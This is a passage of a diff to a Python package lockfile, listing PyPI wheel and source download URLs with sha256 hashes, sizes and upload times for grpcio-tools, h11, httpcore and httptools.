"https://files.pythonhosted.org/packages/7a/54/1de67f5080da305a258758a8deb33f85666fa759f56785042a80b114a53f/grpcio_tools-1.80.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:727477b9afa4b53f5ec70cafb41c3965d893835e0d4ea9b542fe3d0d005602bf", size = 2549601, upload-time = "2026-03-30T08:50:09.498Z" }, + { url = "https://files.pythonhosted.org/packages/9a/b4/6d57ea199c5b880d182a2234aafa9a686f9c54c708ea7be75bd19d5aa825/grpcio_tools-1.80.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:85fe8d15f146c62cb76f38d963e256392d287442b9232717d30ae9e3bbda9bc3", size = 5712717, upload-time = "2026-03-30T08:50:15.028Z" }, + { url = "https://files.pythonhosted.org/packages/6a/1a/5505ee2277d368b409c796c78f22ea34a2a517b7d16755247efd663dc7af/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:95f0fffb5ca00519f3b602f938169b4dfa04b165e03258323965a9dfe8cc4d80", size = 2595941, upload-time = "2026-03-30T08:50:17.299Z" }, + { url = "https://files.pythonhosted.org/packages/4e/39/7fc1d16d8b767805079d76365d73e82c88dfaf179034473dbc9fbccedb77/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:7a0106af212748823a6ebd8ffbd9043414216f47cae3835f3187de0a62c415d3", size = 2909304, upload-time = "2026-03-30T08:50:19.485Z" }, + { url = "https://files.pythonhosted.org/packages/97/d8/276ee759755d8f34f2ca5e9d2debd1a59f29f66059fb790bc369f2236c26/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:31fd01a4038b5dfc4ec79504a17061344f670f851833411717fef66920f13cd7", size = 2660269, upload-time = "2026-03-30T08:50:21.266Z" }, + { url = "https://files.pythonhosted.org/packages/51/04/a6bb47942ad52901d777a649324d3203cf19d487f1d446263637f7a5bf12/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:57da9e19607fac4a01c48ead333c0dd15d91ed38794dce1194eda308f73e2038", size = 3109798, upload-time = "2026-03-30T08:50:23.267Z" }, + { url = "https://files.pythonhosted.org/packages/be/50/7ee69b2919916739787d725f205b878e8d1619dd30422b8278e324664669/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:90968f751851abb8b145593609800fa70c837e1c93ba0792c480b1c8d8bc29ef", size = 3658930, upload-time = "2026-03-30T08:50:25.458Z" }, + { url = "https://files.pythonhosted.org/packages/92/61/6d50783092b0e8bbcb04152d5388bf50ecf3ea2f783d95288ff6c3bb00fa/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b69dc5d6376ab43406304d1e2fc61ccf960b287d4325d77c3d45448c37a9d2da", size = 3326562, upload-time = "2026-03-30T08:50:27.809Z" }, + { url = "https://files.pythonhosted.org/packages/ea/58/d272ba549f6b1f0d8504f5fc4cd0a296f2c495a64d6e987fe871c4151557/grpcio_tools-1.80.0-cp310-cp310-win32.whl", hash = "sha256:3e8dcfebe34cb54df095de3d5871a4562a85a29f26d0f8bb41ee2c3dcfb11c3c", size = 997620, upload-time = "2026-03-30T08:50:29.959Z" }, + { url = "https://files.pythonhosted.org/packages/70/5f/9f45a9946a0298711c72ca48b2c1f46a7d0c207a44cd3e4bb59d04556ba3/grpcio_tools-1.80.0-cp310-cp310-win_amd64.whl", hash = "sha256:fc622ed4ca400695f41c9eae3266276c6ba007e4c28164ce53b44e7ccc5e492b", size = 1162466, upload-time = "2026-03-30T08:50:32.242Z" }, + { url = "https://files.pythonhosted.org/packages/8a/d7/225dc91e6cb4f8d4830f16a478a468e9c6f342dcdf8cacc3772cc1d1f607/grpcio_tools-1.80.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:1c43e5c768578fe0c6de3dbfaabe64af642951e1aa05c487cacedda63fa6c6c4", size = 2549937, upload-time = "2026-03-30T08:50:34.651Z" }, + { url = "https://files.pythonhosted.org/packages/97/3d/a3684cb7677f3bea8db434eae02a9ce30135d7a268cd473b1bc8041c4722/grpcio_tools-1.80.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:a225348456575f3ac7851d8e23163195e76d2a905ee340cf73f33da62fba08aa", size = 5713099, upload-time = "2026-03-30T08:50:37.158Z" }, + { url = "https://files.pythonhosted.org/packages/b1/81/5665c697173ec346076358bfbfed0f7386825852494593ca14386478dfee/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a9396f02820d3f51c368c2c9dee15c55c77636c91be48a4d5c702e98d6fe0fdc", size = 2595776, upload-time = "2026-03-30T08:50:39.087Z" }, + { url = "https://files.pythonhosted.org/packages/03/4f/fb81384f08a8226fa079972ba88272ac6277581fc72e8ab234d74c7e065b/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:797c08460cae16b402326eac329aec720dccf45c9f9279b95a352792eb53cf0f", size = 2909144, upload-time = "2026-03-30T08:50:40.922Z" }, + { url = "https://files.pythonhosted.org/packages/4d/9c/c957618f1c2a3195ecf5e83b03edcb364c2c1391f74183cb76e5763fa536/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1872a867eb6217de19edb70a4ce4a374ced9d94293533dfd42fa649713f55bf4", size = 2660477, upload-time = "2026-03-30T08:50:42.766Z" }, + { url = "https://files.pythonhosted.org/packages/42/c7/23913da184febfd4eaf04de256a26bc5ff0411a5feb753e2adcff10fa86a/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db122ba5ee357e3bb14e8944d69bbebcbdae91d5eace29ed4df3edc53cbc6528", size = 3110164, upload-time = "2026-03-30T08:50:44.761Z" }, + { url = "https://files.pythonhosted.org/packages/af/fa/b25ed85ebdb0396910eaa250b1346d75527d22fca586265416bd4330dcd5/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ddefd48c227e6f4d640fe576fac5fb2c4a8898196f513604c8ec7671b3b3d421", size = 3658988, upload-time = "2026-03-30T08:50:47.546Z" }, + { url = "https://files.pythonhosted.org/packages/60/85/2a55147cc9645e2ed777d1afcd2dc68cb34ba6f6c726bd4378ddb001a5ea/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:970ec058fa469dd6dae6ebc687501c5da670d95dead75f62f5b0933dce2c9794", size = 3326662, upload-time = "2026-03-30T08:50:49.59Z" }, + { url = "https://files.pythonhosted.org/packages/68/ed/b05bee2a992e6f9bda81909692ea920d0896cfa05c5c9dd77ba03f2d22fb/grpcio_tools-1.80.0-cp311-cp311-win32.whl", hash = "sha256:526b4402d47a0e9b31cd6087e42b7674784617916cc73c764e0bc35ed41b4ee5", size = 997969, upload-time = "2026-03-30T08:50:51.539Z" }, + { url = "https://files.pythonhosted.org/packages/b6/9a/cb50c8270e2f6285ff2761130ae257ac4e51789ded4b9d9710ce0381814d/grpcio_tools-1.80.0-cp311-cp311-win_amd64.whl", hash = "sha256:ee101ecda7231770f6a5da1024a9a6ed587a7785f8fe23ab8283f4a1acb3ffe6", size = 1162742, upload-time = "2026-03-30T08:50:54.232Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b9/65929df8c9614792db900a8e45d4997fadbd1734c827da3f0eb1f2fe4866/grpcio_tools-1.80.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:d19d5a8244311947b96f749c417b32d144641c6953f1164824579e1f0a51d040", size = 2550856, upload-time = "2026-03-30T08:50:57.3Z" }, + { url = "https://files.pythonhosted.org/packages/28/17/af1557544d68d1aeca9d9ea53ed16524022d521fec6ba334ab3530e9c1a6/grpcio_tools-1.80.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:fb599a3dc89ed1bb24489a2724b2f6dd4cddbbf0f7bdd69c073477bab0dc7554", size = 5710883, upload-time = "2026-03-30T08:51:00.077Z" }, + { url = "https://files.pythonhosted.org/packages/cc/48/aa9b4f7519ca972bc40d315d5c28f05ca28fa08de13d4e8b69f551b798ab/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:623ee31fc2ff7df9a987b4f3d139c30af17ce46a861ae0e25fb8c112daa32dd8", size = 2598004, upload-time = "2026-03-30T08:51:02.102Z" }, + { url = "https://files.pythonhosted.org/packages/b4/b8/b01371c119924b3beca1fe3f047b1bc2cdc66b3d37f0f3acc9d10c567a43/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:b46570a68378539ee2b75a5a43202561f8d753c832798b1047099e3c551cf5d6", size = 2909568, upload-time = "2026-03-30T08:51:04.159Z" }, + { url = "https://files.pythonhosted.org/packages/4f/7c/1108f7bdb58475a7e701ec89b55eb494538b6e76acd211ba0d4cc5fd28e8/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51caf99c28999e7e0f97e9cea190c1405b7681a57bb2e0631205accd92b43fa4", size = 2660938, upload-time = "2026-03-30T08:51:06.126Z" }, + { url = "https://files.pythonhosted.org/packages/67/59/d1c0063d4cd3b85363c7044ff3e5159d6d5df96e2692a9a5312d9c8cb290/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cdaa1c9aa8d3a87891a96700cadd29beec214711d6522818d207277f6452567c", size = 3113814, upload-time = "2026-03-30T08:51:08.834Z" }, + { url = "https://files.pythonhosted.org/packages/76/21/18d34a4efe524c903cf66b0cfa5260d81f277b6ae668b647edf795df9ce5/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:3399b5fd7b59bcffd59c6b9975a969d9f37a3c87f3e3d63c3a09c147907acb0d", size = 3662793, upload-time = "2026-03-30T08:51:11.094Z" }, + { url = "https://files.pythonhosted.org/packages/f3/40/cf2d9295a6bd593244ea703858f8fc2efd315046ca3ef7c6f9ebc5b810fa/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9c6abc08d3485b2aac99bb58afcd31dc6cd4316ce36cf263ff09cb6df15f287f", size = 3329149, upload-time = "2026-03-30T08:51:13.066Z" }, + { url = "https://files.pythonhosted.org/packages/0d/1d/fc34b32167966df20d69429b71dfca83c48434b047a5ac4fd6cd91ca4eed/grpcio_tools-1.80.0-cp312-cp312-win32.whl", hash = "sha256:18c51e07652ac7386fcdbd11866f8d55a795de073337c12447b5805575339f74", size = 997519, upload-time = "2026-03-30T08:51:14.87Z" }, + { url = "https://files.pythonhosted.org/packages/91/98/6d6563cdf51085b75f8ec24605c6f2ce84197571878ca8ab4af949c6be2d/grpcio_tools-1.80.0-cp312-cp312-win_amd64.whl", hash = "sha256:ac6fdd42d5bb18f0d903a067e2825be172deff70cf197164b6f65676cb506c9b", size = 1162407, upload-time = "2026-03-30T08:51:16.793Z" }, + { url = "https://files.pythonhosted.org/packages/44/d9/f7887a4805939e9a85d03744b66fc02575dc1df3c3e8b4d9ec000ee7a33d/grpcio_tools-1.80.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:e7046837859bbfd10b01786056145480155c16b222c9e209215b68d3be13060e", size = 2550319, upload-time = "2026-03-30T08:51:19.117Z" }, + { url = "https://files.pythonhosted.org/packages/57/5a/c8a05b32bd7203f1b9f4c0151090a2d6179d6c97692d32f2066dc29c67a6/grpcio_tools-1.80.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:a447f28958a8fe84ff0d9d3d9473868feb27ee4a9c9c805e66f5b670121cec59", size = 5709681, upload-time = "2026-03-30T08:51:21.991Z" }, + { url = "https://files.pythonhosted.org/packages/82/6b/794350ed645c12c310008f97068f6a6fd927150b0d0d08aad1d909e880b1/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:75f00450e08fe648ad8a1eeb25bc52219679d54cdd02f04dfdddc747309d83f6", size = 2596820, upload-time = "2026-03-30T08:51:24.323Z" }, + { url = "https://files.pythonhosted.org/packages/f9/b2/b39e7b79f7c878135e0784a53cd7260ee77260c8c7f2c9e46bca8e05d017/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:3db830eaff1f2c2797328f2fa86c9dcdbd7d81af573a68db81e27afa2182a611", size = 2909193, upload-time = "2026-03-30T08:51:27.025Z" }, + { url = "https://files.pythonhosted.org/packages/10/f3/abe089b058f87f9910c9a458409505cbeb0b3e1c2d993a79721d02ee6a32/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7982b5fe42f012686b667dda12916884de95c4b1c65ff64371fb7232a1474b23", size = 2660197, upload-time = "2026-03-30T08:51:29.392Z" }, + { url = "https://files.pythonhosted.org/packages/09/c3/3f7806ad8b731d8a89fe3c6ed496473abd1ef4c9c42c9e9a8836ce96e377/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6451b3f4eb52d12c7f32d04bf8e0185f80521f3f088ad04b8d222b3a4819c71e", size = 3113144, upload-time = "2026-03-30T08:51:31.671Z" }, + { url = "https://files.pythonhosted.org/packages/fe/f5/415ef205e0b7e75d2a2005df6120145c4f02fda28d7b3715b55d924fe1a4/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:258bc30654a9a2236be4ca8e2ad443e2ac6db7c8cc20454d34cce60265922726", size = 3661897, upload-time = "2026-03-30T08:51:34.849Z" }, + { url = "https://files.pythonhosted.org/packages/e3/d3/2ad54764c2a9547080dd8518f4a4dc7899c7e6e747a1b1de542ce6a12066/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:865a2b8e6334c838976ab02a322cbd55c863d2eaf3c1e1a0255883c63996772a", size = 3328786, upload-time = "2026-03-30T08:51:37.265Z" }, + { url = "https://files.pythonhosted.org/packages/eb/63/23ab7db01f9630ab4f3742a2fc9fbff38b0cfc30c976114f913950664a75/grpcio_tools-1.80.0-cp313-cp313-win32.whl", hash = "sha256:f760ac1722f33e774814c37b6aa0444143f612e85088ead7447a0e9cd306a1f1", size = 997087, upload-time = "2026-03-30T08:51:39.137Z" }, + { url = "https://files.pythonhosted.org/packages/9b/af/b1c1c4423fb49cb7c8e9d2c02196b038c44160b7028b425466743c6c81fa/grpcio_tools-1.80.0-cp313-cp313-win_amd64.whl", hash = "sha256:7843b9ac6ff8ca508424d0dd968bd9a1a4559967e4a290f26be5bd6f04af2234", size = 1162167, upload-time = "2026-03-30T08:51:41.498Z" }, + { url = "https://files.pythonhosted.org/packages/0e/44/7beeee2348f9f412804f5bf80b7d13b81d522bf926a338ae3da46b2213b7/grpcio_tools-1.80.0-cp314-cp314-linux_armv7l.whl", hash = "sha256:12f950470449dbeec78317dbc090add7a00eb6ca812af7b0538ab7441e0a42c3", size = 2550303, upload-time = "2026-03-30T08:51:44.373Z" }, + { url = "https://files.pythonhosted.org/packages/2d/aa/f77dd85409a1855f8c6319ffc69d81e8c3ffe122ee3a7136653e1991d8b6/grpcio_tools-1.80.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d3f9a376a29c9adf62bb56f7ff5bc81eb4abeaf53d1e7dde5015564832901a51", size = 5709778, upload-time = "2026-03-30T08:51:47.112Z" }, + { url = "https://files.pythonhosted.org/packages/9c/7c/ab7af4883ebdfdc228b853de89fed409703955e8d47285b321a5794856bd/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1ba1ffbf2cff71533615e2c5a138ed5569611eec9ae7f9c67b8898e127b54ac0", size = 2597928, upload-time = "2026-03-30T08:51:49.494Z" }, + { url = "https://files.pythonhosted.org/packages/22/e8/4381a963d472e3ab6690ba067ed2b1f1abf8518b10f402678bd2dcb79a54/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:13f60f8d9397c514c6745a967d22b5c8c698347e88deebca1ff2e1b94555e450", size = 2909333, upload-time = "2026-03-30T08:51:52.124Z" }, + { url = "https://files.pythonhosted.org/packages/94/cb/356b5fdf79dd99455b425fb16302fe60995554ceb721afbf3cf770a19208/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:88d77bad5dd3cd5e6f952c4ecdd0ee33e0c02ecfc2e4b0cbee3391ac19e0a431", size = 2660217, upload-time = "2026-03-30T08:51:55.066Z" }, + { url = "https://files.pythonhosted.org/packages/2b/d7/1752018cc2c36b2c5612051379e2e5f59f2dbe612de23e817d2f066a9487/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:017945c3e98a4ed1c4e21399781b4137fc08dfc1f802c8ace2e64ef52d32b142", size = 3113896, upload-time = "2026-03-30T08:51:57.3Z" }, + { url = "https://files.pythonhosted.org/packages/cc/17/695bbe454f70df35c03e22b48c5314683b913d3e6ed35ec90d065418c1ab/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a33e265d4db803495007a6c623eafb0f6b9bb123ff4a0af89e44567dad809b88", size = 3661950, upload-time = "2026-03-30T08:51:59.867Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d0/533d87629ec823c02c9169ee20228f734c264b209dcdf55268b5a14cde0a/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6c129da370c5f85f569be2e545317dda786a60dd51d7deea29b03b0c05f6aac3", size = 3328755, upload-time = "2026-03-30T08:52:02.942Z" }, + { url = "https://files.pythonhosted.org/packages/08/a1/504d7838770c73a9761e8a8ff4869dba1146b44f297ff0ac6641481942d3/grpcio_tools-1.80.0-cp314-cp314-win32.whl", hash = "sha256:25742de5958ae4325249a37e724e7c0e5120f8e302a24a977ebd1737b48a5e97", size = 1019620, upload-time = "2026-03-30T08:52:05.342Z" }, + { url = "https://files.pythonhosted.org/packages/f3/75/8b7cd281c5cdfb4ca2c308f7e9b2799bab2be6e7a9e9212ea5a82e2aecd4/grpcio_tools-1.80.0-cp314-cp314-win_amd64.whl", hash = "sha256:bbf8eeef78fda1966f732f79c1c802fadd5cfd203d845d2af4d314d18569069c", size = 1194210, upload-time = "2026-03-30T08:52:08.105Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httptools" +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/e5/d471fcb0e14523fe1c3f4ba58ca52480e7bd70ad7109a3846bc75892f7fb/httptools-0.8.0.tar.gz", hash = "sha256:6b2a32f18d97e16e90827d7a819ffa8dbd8cc245fc4e1fa9d1095b54ef4bd999", size = 271342, upload-time = "2026-05-25T22:17:48.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/b9/be66eb0decd730d89b9c94f930e4b8d87787b05724bb84af98bfd825f72c/httptools-0.8.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:bf3b6f807c8541503cecfbb8a8dffb385640d0d96102f3d112aa8740f9b7c826", size = 208805, upload-time = "2026-05-25T22:16:50.434Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f7/b4d41eaae2869d31356bc4bbf546f44fae83ff298af0a043ca0625b06773/httptools-0.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da684f2e1aa2ee9bdcb083f3f3a68c5956750b375bc5df864d3a5f0c42a40b77", size = 113527, upload-time = "2026-05-25T22:16:51.672Z" }, + { url = "https://files.pythonhosted.org/packages/e6/e4/77487e14fc7be47180fd0eb4267c7486d0cc59b74031839a3daf8650136b/httptools-0.8.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6f21e2a3b0067bbe7f67e34cfd16276af556e5e52f4c7503be0cb5f90e905e4", size = 450035, upload-time = "2026-05-25T22:16:53.313Z" }, + { url = "https://files.pythonhosted.org/packages/da/72/5a8f787e323f56fbd86c32a4be92a86776e4cfe8b4317db999f452028362/httptools-0.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea897f0c729581ebf72131a438a7932d9b14efef72d75ada966700cac3caaeb", size = 451101, upload-time = "2026-05-25T22:16:54.696Z" }, + { url = "https://files.pythonhosted.org/packages/ed/41/b44a25560955197674b6744cb903664300e239235a5eaa69df0890d87054/httptools-0.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c0d726cc107fceb7d45f978483b4b70dd8caa836f5914d3434bb18628eb73813", size = 436140, upload-time = "2026-05-25T22:16:56.239Z" }, + { url = "https://files.pythonhosted.org/packages/74/b0/054aac84c03d7e097bf4c605fb7e74eec3d65c0276adf64ee97f3a103ff5/httptools-0.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9878eb2785ba5eb70631ad269b37976f73d647955e26c91d490eb8a4edfda4ba", size = 437041, upload-time = "2026-05-25T22:16:57.716Z" }, + { url = "https://files.pythonhosted.org/packages/f8/d2/c3eedaef57de65c3cc5f8dc244cf12d09c84ad258a479055aad6db23206c/httptools-0.8.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ed377e64805bdba4943c82717333f8f8603a13b09aff9cead2717c6c817fb168", size = 208428, upload-time = "2026-05-25T22:16:59.717Z" }, + { url = "https://files.pythonhosted.org/packages/f1/94/dfe435d90d0ef61ec0f2cc3d480eef78c59727c6c2ce039f433882f6131a/httptools-0.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9518c406d7b310f05adb1a37f80acabac40504a575d7c0da6d3e365c695ac20d", size = 113366, upload-time = "2026-05-25T22:17:00.795Z" }, + { url = "https://files.pythonhosted.org/packages/cc/d4/13025f1a56e615dcb331e0bbe2d9a1143212b58c263385fc5d2e558f5bac/httptools-0.8.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:57278e6fa0424c42a8a3e454828ab4f0aff27b40cddf9679579b98c6dce6a376", size = 464676, upload-time = "2026-05-25T22:17:02.014Z" }, + { url = "https://files.pythonhosted.org/packages/bf/95/4c1c26c0b985f8a3331682d802598f14e32dc41bf7509266eb2c04ad4801/httptools-0.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bbb8caadb2b742d293169d2b458b5c001ef70e3158704aa3d3ef9597624c5d1d", size = 464235, upload-time = "2026-05-25T22:17:03.109Z" }, + { url = "https://files.pythonhosted.org/packages/a2/82/6735be2b0ca527718c431cdb8e5f70c3862c0844a687df0f572c51e11497/httptools-0.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:52dd695b865fe96d9d2b16b64a895f3f57bf3cb064e8383cd3b5713a069e8085", size = 449809, upload-time = "2026-05-25T22:17:04.443Z" }, + { url = "https://files.pythonhosted.org/packages/b5/f9/5811c74f37a758c8a4aa3dc430375119d335947e883efc4664d8f3559a41/httptools-0.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:20b4aac66ff65f7db06a375808b78f42a94970aa22e826b3cb2b43eb09174124", size = 452174, upload-time = "2026-05-25T22:17:05.476Z" }, + { url = "https://files.pythonhosted.org/packages/14/88/1d21a36da8f5cb0fa49eafd4b169eba5608d57e75bbcf61845cbc6243216/httptools-0.8.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:880490234c10f70a9830743097e8958d6e4b9f5a0ffc24515023afeef984054d", size = 208247, upload-time = "2026-05-25T22:17:07.843Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/cc4feea2945cb3051038f090c9b36bd5b8a9d7f5a894a506a8983e33fd1c/httptools-0.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5931891fb7b441b8a3853cf1b85c82c903defce084dd5f6771ca46e31bf862c5", size = 113064, upload-time = "2026-05-25T22:17:09.136Z" }, + { url = "https://files.pythonhosted.org/packages/e3/a6/febbb8b8db0f58b38e44ad6cb946e6a255ae49b55f2e8543408fb7501ccd/httptools-0.8.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b15fc622b0f869d19207c4089a501d9bcc63ca5e071ffdd2f03f922df882dcb2", size = 523851, upload-time = "2026-05-25T22:17:10.106Z" }, + { url = "https://files.pythonhosted.org/packages/b7/e4/f90a0df0b83beff265b7e3b65f2a4cefd95792d4be0ac3e16049f2acd3c2/httptools-0.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:425f83884fd6343828d8c565f046cb72b6d19063f6924093e11bcd8e1548cd09", size = 518842, upload-time = "2026-05-25T22:17:11.218Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2d/0c9ac76dd2c893841fbf6498d6acec4f2442e1b7067f6e3e316a80e494e8/httptools-0.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ef7c3c97f4311c7be57e2986629df89d49cb434dbff78eafcd48c2bff986b15a", size = 501238, upload-time = "2026-05-25T22:17:12.728Z" }, + { url = "https://files.pythonhosted.org/packages/ca/42/906adc91ae3a5fa9c59c0a2f21c139725bd7e5b41ae6acd485cd14123ebf/httptools-0.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a1afd7c9fbff0d9f5d489c4ce2768bd09c84a46ddefc7161e6aa82ae35c85745", size = 509567, upload-time = "2026-05-25T22:17:13.842Z" }, + { url = "https://files.pythonhosted.org/packages/5e/e5/8cfcabc5546e8022f168be28bcdaa128a240a0befdd03b59d558b4f18bd6/httptools-0.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:614ceea8ea606848bece2338ac03b3ce5324bcb4be8dc7d377ed708012fa4db8", size = 205148, upload-time = "2026-05-25T22:17:16.333Z" }, + { url = "https://files.pythonhosted.org/packages/2a/0e/0fb14848c19a686c8062ff9067c1a48793e3224b47bc5b201535b6036fce/httptools-0.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2d689918c15a013c65ef52d9fd495d766893ab831a2c8d89f2ac5940a5df847c", size = 111368, upload-time = "2026-05-25T22:17:17.586Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/46f1cecf06b9bbde8e4b8c88034ac7908989e5ff7a3a388ef38392949c1f/httptools-0.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:eb3028cca2fc0a6d720e52ef61d8ebb62fcbfeb1de56874546d858d3f25a26b7", size = 486447, upload-time = "2026-05-25T22:17:18.564Z" }, + { url = "https://files.pythonhosted.org/packages/77/00/258bfc0837221f81d9725c45f9b948a6a6b2994a147a4fb66e85100c668f/httptools-0.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:88bdd940f2b5d487b4d032c6afa5489a7dc4694410d43de3c38c4fb3af0dc45d", size = 482448, upload-time = "2026-05-25T22:17:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/04/ab/d1cef3b5523f4d272a70f42a776c3169a2dddfe3a54de4b2ce4a36341528/httptools-0.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6a43c9dd399758ccc0531acb0a3c4a6c299ee893ee9400e9c893b7bdcfae0681", size = 464460, upload-time = "2026-05-25T22:17:20.882Z" }, + { url = "https://files.pythonhosted.org/packages/ce/48/5d1d072442277bb2b3434e0e60690b8e8c23840ef7de8b6ea54040a536d3/httptools-0.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = 